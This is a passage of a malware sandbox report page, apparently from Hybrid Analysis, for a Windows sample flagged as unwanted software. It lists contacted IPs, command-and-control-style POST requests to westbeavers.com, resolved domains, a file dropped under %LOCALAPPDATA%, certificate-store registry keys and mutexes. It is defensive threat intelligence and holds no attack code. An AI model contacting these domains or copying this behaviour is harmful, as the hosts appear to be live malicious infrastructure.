traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"172.67.197.98","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"address":"104.21.84.219","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]}],"dns_resolutions":[{"domain":"motherotters.com","sources":[{"report_type":"qsp","report_id":""}]},{"domain":"healskills.com","sources":[{"report_type":"qsp","report_id":""}]},{"domain":"westbeavers.com","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]}],"http_requests":[{"host":"westbeavers.com","host_ip":"172.67.197.98:443","url":"/quarry/vein","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /quarry/vein HTTP/1.1\ncontent-type: text/plain\ncontent-length: 348\naccept: */*\nhost: westbeavers.com","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"host":"westbeavers.com","host_ip":"172.67.197.98:443","url":"/quarry/deposit","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /quarry/deposit HTTP/1.1\ncontent-type: text/plain\ncontent-length: 296\naccept: */*\nhost: westbeavers.com","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]}],"embedded_domains":[{"value":"motherotters.com","sources":[{"report_type":"qsp","report_id":""}]},{"value":"healskills.com","sources":[{"report_type":"qsp","report_id":""}]},{"value":"westbeavers.com","sources":[{"report_type":"qsp","report_id":""}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}],"processes":[{"pid":5912,"ppid":0,"name":"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe","command_line":"","sha256":"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","normalized_path":"C:\\7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe","uid":"00000000-00005912","icon":"$45"}],"all_imported_dlls":["SHCore.dll","rasadhlp.dll","sechost.dll","psapi.dll","cfgmgr32.dll","CoreMessaging.dll","gpapi.dll","bcryptprimitives.dll","dcomp.dll","shlwapi.dll","cryptsp.dll","clbcatq.dll","DataExchange.dll","dxgi.dll","rsaenh.dll","gdi32.dll","win32u.dll","sspicli.dll","FWPUCLNT.DLL","schannel.dll","secur32.dll","windows.storage.dll","kernel.appcore.dll","ntdll.dll","msvcrt.dll","combase.dll","ucrtbase.dll","pdh.dll","ExplorerFrame.dll","msvcp_win.dll","DWrite.dll","fltLib.dll","d3d11.dll","rmclient.dll","msasn1.dll","imm32.dll","msctf.dll","profapi.dll","bcrypt.dll","rpcrt4.dll","user32.dll","ole32.dll","VxSSL64.dll","vcruntime140_1.dll","IPHLPAPI.DLL","TextInputFramework.dll","powrprof.dll","mswsock.dll","dnsapi.dll","twinapi.appcore.dll","WinTypes.dll","KernelBase.dll","shell32.dll","comctl32.dll","nsi.dll","ntmarta.dll","ncrypt.dll","kernel32.dll","msvcp140.dll","mskeyprotect.dll","ncryptsslp.dll","cryptnet.dll","gdi32full.dll","crypt32.dll","cryptbase.dll","vcruntime140.dll","CoreUIComponents.dll","ntasn1.dll","advapi32.dll","oleaut32.dll","dwmapi.dll","uxtheme.dll","ws2_32.dll","umpdc.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"770102536d9e57c3eab5ec84850b04f08d168bb0042099f456fbb843136c69e2","sha256":"770102536d9e57c3eab5ec84850b04f08d168bb0042099f456fbb843136c69e2","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"terrain.dat","sha256":"1dcc9ed5658d195efa49af2544cb356b3aa332c1dd01596484d9069b37b0ae31","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"name":"plain-tls.pcap","sha256":"1a4492491b50f58887937bd258bddce9b061f805e8fb1fd9641ad528195f27f0","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","sha256":"44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","verdict":"likely_benign","sources":[{"report_type":"qsp","report_id":""}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"path":"%LOCALAPPDATA%\\QuartzLine\\terrain.dat","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5912:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"name":"Local\\SM0:5912:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5956:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5956:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"name":"Local\\SM0:5956:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"name":"SM0:5956:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]}]}},"report_ids":{"sandbox_job_ids":["6ab6e4b0daa59455630c0660","6a7e26ef88ae851e4d0f49ac"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious ApplicUnwnt Sample 7f1db334fd33… — Score 76/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 7f1db334fd33…. Malware family: ApplicUnwnt. Threat score 76/100. 3/28 AV engines flagged this file. 0 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3"}],["$","meta","4",{"property":"og:title","content":"Malicious ApplicUnwnt Sample 7f1db334fd33… — Score 76/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 7f1db334fd33…. Malware family: ApplicUnwnt. Threat score 76/100. 3/28 AV engines flagged this file. 0 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious ApplicUnwnt Sample 7f1db334fd33… — Score 76/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 7f1db334fd33…. Malware family: ApplicUnwnt. Threat score 76/100. 3/28 AV engines flagged this file. 0 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L46","11",{}]]